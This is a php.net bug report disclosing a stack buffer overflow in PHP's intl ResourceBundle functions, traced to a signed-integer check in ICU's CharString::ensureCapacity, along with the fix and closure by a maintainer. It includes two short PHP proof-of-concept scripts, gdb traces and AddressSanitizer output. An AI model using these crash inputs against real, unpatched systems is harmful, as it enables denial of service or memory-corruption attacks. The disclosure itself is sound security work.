php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73218 stack-buffer-overflow through "ResourceBundle" methods
Submitted: 2016-10-01 17:56 UTC Modified: 2017-02-13 01:11 UTC
From: fernando at null-life dot com Assigned: stas (profile)
Status: Closed Package: intl (PECL)
PHP Version: 5.6.26 OS: *
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: fernando at null-life dot com
New email:
PHP Version: OS:

 

 [2016-10-01 17:56 UTC] fernando at null-life dot com
Description:
------------
ResourceBundle::create and ResourceBundle::getLocales  methods (and their respective functions) are vulnerables to stack buffer overflow when bundlename parameter length is equal or close to 0x7fffffff, due to a type confusion in CharString::ensureCapacity at libicu.

PHP could mitigate this issue by checking that the bundlename parameter is not bigger than PHP_MAXPATHLEN constant before calling libicu.

----------

Source code:
https://github.com/php/php-src/blob/master/ext/intl/resourcebundle/resourcebundle_class.c#L316

PHP_FUNCTION( resourcebundle_locales )
{
	char * bundlename;
	size_t    bundlename_len = 0;
	const char * entry;
	int entry_len;
	UEnumeration *icuenum;
	UErrorCode   icuerror = U_ZERO_ERROR;

	intl_errors_reset( NULL );

	if( zend_parse_parameters(ZEND_NUM_ARGS(), "s", &bundlename, &bundlename_len ) == FAILURE )
	{
		intl_error_set(NULL, U_ILLEGAL_ARGUMENT_ERROR,
			"resourcebundle_locales: unable to parse input params", 0);
		RETURN_FALSE;
	}

	if(bundlename_len == 0) {
		// fetch default locales list
		bundlename = NULL;
	}
        
	icuenum = ures_openAvailableLocales( bundlename, &icuerror );   // bundlename size too long
	INTL_CHECK_STATUS(icuerror, "Cannot fetch locales list");

	uenum_reset( icuenum, &icuerror );
	INTL_CHECK_STATUS(icuerror, "Cannot iterate locales list");

	array_init( return_value );
	while ((entry = uenum_next( icuenum, &entry_len, &icuerror ))) {
		add_next_index_stringl( return_value, (char *) entry, entry_len);
	}
	uenum_close( icuenum );
}

...

https://github.com/php/php-src/blob/master/ext/intl/resourcebundle/resourcebundle_class.c#L76

static int resourcebundle_ctor(INTERNAL_FUNCTION_PARAMETERS, zend_bool is_constructor)
{
	const char *bundlename;
	size_t		bundlename_len = 0;
	const char *locale;
	size_t		locale_len = 0;
	zend_bool	fallback = 1;
	int         zpp_flags = is_constructor ? ZEND_PARSE_PARAMS_THROW : 0;

	zval                  *object = return_value;
	ResourceBundle_object *rb = Z_INTL_RESOURCEBUNDLE_P( object );

	intl_error_reset( NULL );

	if( zend_parse_parameters_ex( zpp_flags, ZEND_NUM_ARGS(), "s!s!|b",
		&locale, &locale_len, &bundlename, &bundlename_len, &fallback ) == FAILURE )
	{
		intl_error_set( NULL, U_ILLEGAL_ARGUMENT_ERROR,
			"resourcebundle_ctor: unable to parse input parameters", 0 );
		return FAILURE;
	}

	INTL_CHECK_LOCALE_LEN_OR_FAILURE(locale_len);

	if (locale == NULL) {
		locale = intl_locale_get_default();
	}

	if (fallback) {
		rb->me = ures_open(bundlename, locale, &INTL_DATA_ERROR_CODE(rb));  // bundlename size too big
	} else {
		rb->me = ures_openDirect(bundlename, locale, &INTL_DATA_ERROR_CODE(rb));
	}
...



GDB output:

LD_LIBRARY_PATH=/home/operac/icu58/lib USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 gdb -q --args  /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc.php
No symbol table is loaded.  Use the "file" command.
Breakpoint 1 (__asan_report_error) pending.
Reading symbols from /home/operac/build4/bin/php...done.
gdb-peda$ b charstr.cpp:87
No source file named charstr.cpp.
Breakpoint 2 (charstr.cpp:87) pending.
gdb-peda$ b charstr.cpp:135
No source file named charstr.cpp.
Breakpoint 3 (charstr.cpp:135) pending.
gdb-peda$ r
Starting program: /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc.php
...
Breakpoint 3, icu::CharString::ensureCapacity (this=0x7fffffff9598, capacity=0x80000000, desiredCapacityHint=0x0, errorCode=@0x7fffffff9e90: U_ZERO_ERROR) at charstr.cpp:135
135         if(capacity>buffer.getCapacity()) {
gdb-peda$ p/d capacity
$1 = -2147483648
gdb-peda$ p/d buffer.getCapacity()
$2 = 40
gdb-peda$ p capacity>buffer.getCapacity()
$3 = 0x0                // !! false
gdb-peda$ c
Continuing.
...
Breakpoint 2, icu::CharString::append (this=0x7fffffff9598, s=0x7ffeec3f9800 '/' <repeats 200 times>..., sLength=0x7fffffff, errorCode=@0x7fffffff9e90: U_ZERO_ERROR) at charstr.cpp:87
87                  uprv_memcpy(buffer.getAlias()+len, s, sLength);
gdb-peda$ p sLength
$4 = 0x7fffffff                    // !! buffer overflow


Test script:
---------------
poc.php:

<?php

ini_set('memory_limit', -1);

$v1="hi";
$v2=str_repeat("/", 0xffffffff/2);
resourcebundle_create($v1,$v2);


------------------------------------------------
poc2.php:

<?php

ini_set('memory_limit', -1);

$v1=str_repeat("a", 0xffffffff/2);
ResourceBundle::getLocales($v1);

Expected result:
----------------
No crash

Actual result:
--------------
ASan outputs:

LD_LIBRARY_PATH=/home/operac/icu58/lib USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n 

poc.php:

==26416==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcdb544ba0 at pc 0x7f2017fbf904 bp 0x7ffcdb544830 sp 0x7ffcdb543fd8
WRITE of size 2147483647 at 0x7ffcdb544ba0 thread T0
    #0 0x7f2017fbf903 in __asan_memcpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c903)
    #1 0x7f200f3cf299 in icu::CharString::append(char const*, int, UErrorCode&) /home/operac/release-58-rc/source/common/charstr.cpp:87
    #2 0x7f200f3d179e in icu::UDataPathIterator::UDataPathIterator(char const*, char const*, char const*, char const*, signed char, UErrorCode*) /home/operac/release-58-rc/source/common/udata.cpp:465
    #3 0x7f200f3d317b in doLoadFromIndividualFiles /home/operac/release-58-rc/source/common/udata.cpp:973
    #4 0x7f200f3d43d9 in doOpenChoice /home/operac/release-58-rc/source/common/udata.cpp:1298
    #5 0x7f200f3d4b82 in udata_openChoice /home/operac/release-58-rc/source/common/udata.cpp:1385
    #6 0x7f200f48f3d6 in res_load /home/operac/release-58-rc/source/common/uresdata.cpp:265
    #7 0x7f200f47f544 in init_entry /home/operac/release-58-rc/source/common/uresbund.cpp:368
    #8 0x7f200f4801cd in findFirstExisting /home/operac/release-58-rc/source/common/uresbund.cpp:461
    #9 0x7f200f481350 in entryOpen /home/operac/release-58-rc/source/common/uresbund.cpp:643
    #10 0x7f200f48a833 in ures_openWithType /home/operac/release-58-rc/source/common/uresbund.cpp:2212
    #11 0x7f200f48adad in ures_open /home/operac/release-58-rc/source/common/uresbund.cpp:2253
    #12 0x7f2010216944 in resourcebundle_ctor /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:105
    #13 0x7f2010216944 in zif_resourcebundle_create /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:162
    #14 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586
    #15 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
    #16 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
    #17 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
    #18 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
    #19 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
    #20 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
    #21 0x7f2015a1882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #22 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8)

Address 0x7ffcdb544ba0 is located in stack of thread T0 at offset 368 in frame
    #0 0x7f200f3d304a in doLoadFromIndividualFiles /home/operac/release-58-rc/source/common/udata.cpp:966

  This frame has 2 object(s):
    [32, 88) 'dataMemory'
    [128, 368) 'iter' <== Memory access at offset 368 overflows this variable
...

LD_LIBRARY_PATH=/home/operac/icu58/lib USE_ZEND_ALLOC=0 ASAN_OPTIONS=detect_leaks=0 /home/operac/build4/bin/php -dextension=/home/operac/build4/lib/php/20151012-debug/intl.so -n poc2.php



==14531==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe47326a20 at pc 0x7f5ac4990904 bp 0x7ffe473266e0 sp 0x7ffe47325e88
WRITE of size 2147483647 at 0x7ffe47326a20 thread T0
    #0 0x7f5ac4990903 in __asan_memcpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c903)
    #1 0x7f5abbda0299 in icu::CharString::append(char const*, int, UErrorCode&) /home/operac/release-58-rc/source/common/charstr.cpp:87
    #2 0x7f5abbd9c993 in icu::CharString::append(icu::StringPiece, UErrorCode&) /home/operac/release-58-rc/source/common/charstr.h:82
    #3 0x7f5abbda4d8b in doOpenChoice /home/operac/release-58-rc/source/common/udata.cpp:1210
    #4 0x7f5abbda5b82 in udata_openChoice /home/operac/release-58-rc/source/common/udata.cpp:1385
    #5 0x7f5abbe603d6 in res_load /home/operac/release-58-rc/source/common/uresdata.cpp:265
    #6 0x7f5abbe50544 in init_entry /home/operac/release-58-rc/source/common/uresbund.cpp:368
    #7 0x7f5abbe52cff in entryOpenDirect /home/operac/release-58-rc/source/common/uresbund.cpp:745
    #8 0x7f5abbe5b85c in ures_openWithType /home/operac/release-58-rc/source/common/uresbund.cpp:2214
    #9 0x7f5abbe5be1b in ures_openDirect /home/operac/release-58-rc/source/common/uresbund.cpp:2267
    #10 0x7f5abbe5c927 in ures_openAvailableLocales /home/operac/release-58-rc/source/common/uresbund.cpp:2475
    #11 0x7f5abcbe4614 in zif_resourcebundle_locales /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:339
    #12 0x1d74293 in ZEND_DO_FCALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:842
    #13 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
    #14 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
    #15 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
    #16 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
    #17 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
    #18 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
    #19 0x7f5ac23e982f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #20 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8)

Address 0x7ffe47326a20 is located in stack of thread T0 at offset 352 in frame
    #0 0x7f5abbda4901 in doOpenChoice /home/operac/release-58-rc/source/common/udata.cpp:1128

  This frame has 5 object(s):
    [32, 36) 'subErrorCode'
    [96, 160) 'tocEntryName'
    [192, 256) 'tocEntryPath'
    [288, 352) 'pkgName'
    [384, 448) 'treeName' <== Memory access at offset 352 partially underflows this variable

----------------------------------------------------------------------------
----------------------------------------------------------------------------
----------------------------------------------------------------------------

Esto para libicu:

Type confusion at CharString::ensureCapacity 

CharString::ensureCapacity is vulnerable to type confusion, which may cause finally stack buffer overflow.
We think that "capacity" parameter should be defined as unsigned or size_t.

Source code:
release-58-rc/source/common/charstr.cpp:87

UBool CharString::ensureCapacity(int32_t capacity,
                                 int32_t desiredCapacityHint,
                                 UErrorCode &errorCode) {
    if(U_FAILURE(errorCode)) {
        return FALSE;
    }
    if(capacity>buffer.getCapacity()) {  // When capacity is negative, this validation return false
        if(desiredCapacityHint==0) {
            desiredCapacityHint=capacity+buffer.getCapacity();
        }
        if( (desiredCapacityHint<=capacity || buffer.resize(desiredCapacityHint, len+1)==NULL) &&
            buffer.resize(capacity, len+1)==NULL
        ) {
            errorCode=U_MEMORY_ALLOCATION_ERROR;
            return FALSE;
        }
    }
    return TRUE;
}

PoC through PHP bindings (currently we have reported to PHP too, because they can also mitigate the problem)

<?php

ini_set('memory_limit', -1);

$v1="hi";
$v2=str_repeat("/", 0xffffffff/2);
resourcebundle_create($v1,$v2);

ASan output:

==7366==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe88c3b660 at pc 0x7fa076c0d904 bp 0x7ffe88c3b2f0 sp 0x7ffe88c3aa98
WRITE of size 2147483647 at 0x7ffe88c3b660 thread T0
    #0 0x7fa076c0d903 in __asan_memcpy (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c903)
    #1 0x7fa06e01d299 in icu::CharString::append(char const*, int, UErrorCode&) /home/operac/release-58-rc/source/common/charstr.cpp:87
    #2 0x7fa06e01f79e in icu::UDataPathIterator::UDataPathIterator(char const*, char const*, char const*, char const*, signed char, UErrorCode*) /home/operac/release-58-rc/source/common/udata.cpp:465
    #3 0x7fa06e02117b in doLoadFromIndividualFiles /home/operac/release-58-rc/source/common/udata.cpp:973
    #4 0x7fa06e0223d9 in doOpenChoice /home/operac/release-58-rc/source/common/udata.cpp:1298
    #5 0x7fa06e022b82 in udata_openChoice /home/operac/release-58-rc/source/common/udata.cpp:1385
    #6 0x7fa06e0dd3d6 in res_load /home/operac/release-58-rc/source/common/uresdata.cpp:265
    #7 0x7fa06e0cd544 in init_entry /home/operac/release-58-rc/source/common/uresbund.cpp:368
    #8 0x7fa06e0ce1cd in findFirstExisting /home/operac/release-58-rc/source/common/uresbund.cpp:461
    #9 0x7fa06e0cf350 in entryOpen /home/operac/release-58-rc/source/common/uresbund.cpp:643
    #10 0x7fa06e0d8833 in ures_openWithType /home/operac/release-58-rc/source/common/uresbund.cpp:2212
    #11 0x7fa06e0d8dad in ures_open /home/operac/release-58-rc/source/common/uresbund.cpp:2253
    #12 0x7fa06ee64944 in resourcebundle_ctor /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:105
    #13 0x7fa06ee64944 in zif_resourcebundle_create /home/operac/build4/php-src/ext/intl/resourcebundle/resourcebundle_class.c:162
    #14 0x1d8c586 in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/build4/php-src/Zend/zend_vm_execute.h:586
    #15 0x1b9ff15 in execute_ex /home/operac/build4/php-src/Zend/zend_vm_execute.h:414
    #16 0x1e4e7a8 in zend_execute /home/operac/build4/php-src/Zend/zend_vm_execute.h:458
    #17 0x199ce7c in zend_execute_scripts /home/operac/build4/php-src/Zend/zend.c:1427
    #18 0x170fda7 in php_execute_script /home/operac/build4/php-src/main/main.c:2494
    #19 0x1e56a32 in do_cli /home/operac/build4/php-src/sapi/cli/php_cli.c:974
    #20 0x46e424 in main /home/operac/build4/php-src/sapi/cli/php_cli.c:1344
    #21 0x7fa07466682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #22 0x46eaf8 in _start (/home/operac/build4/bin/php+0x46eaf8)

Address 0x7ffe88c3b660 is located in stack of thread T0 at offset 368 in frame
    #0 0x7fa06e02104a in doLoadFromIndividualFiles /home/operac/release-58-rc/source/common/udata.cpp:966

  This frame has 2 object(s):
    [32, 88) 'dataMemory'
    [128, 368) 'iter' <== Memory access at offset 368 overflows this variable

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-10-02 20:37 UTC] stas@php.net
I would recommend reporting this issue directly to ICU (http://bugs.icu-project.org/trac/) since this is an ICU issue, not a PHP issue.
 [2016-10-05 05:41 UTC] stas@php.net
-PHP Version: 7.0.11 +PHP Version: 5.6.26 -Assigned To: +Assigned To: stas
 [2016-10-05 05:41 UTC] stas@php.net
The fix is in security repo as d946d102936525bc7dcd01f3827d0a6e0bb971b0 and in https://gist.github.com/2dc768478ae23eb898e6534fbae5b687

please verify
 [2016-10-11 23:49 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2017-02-13 01:11 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 11:01:29 2024 UTC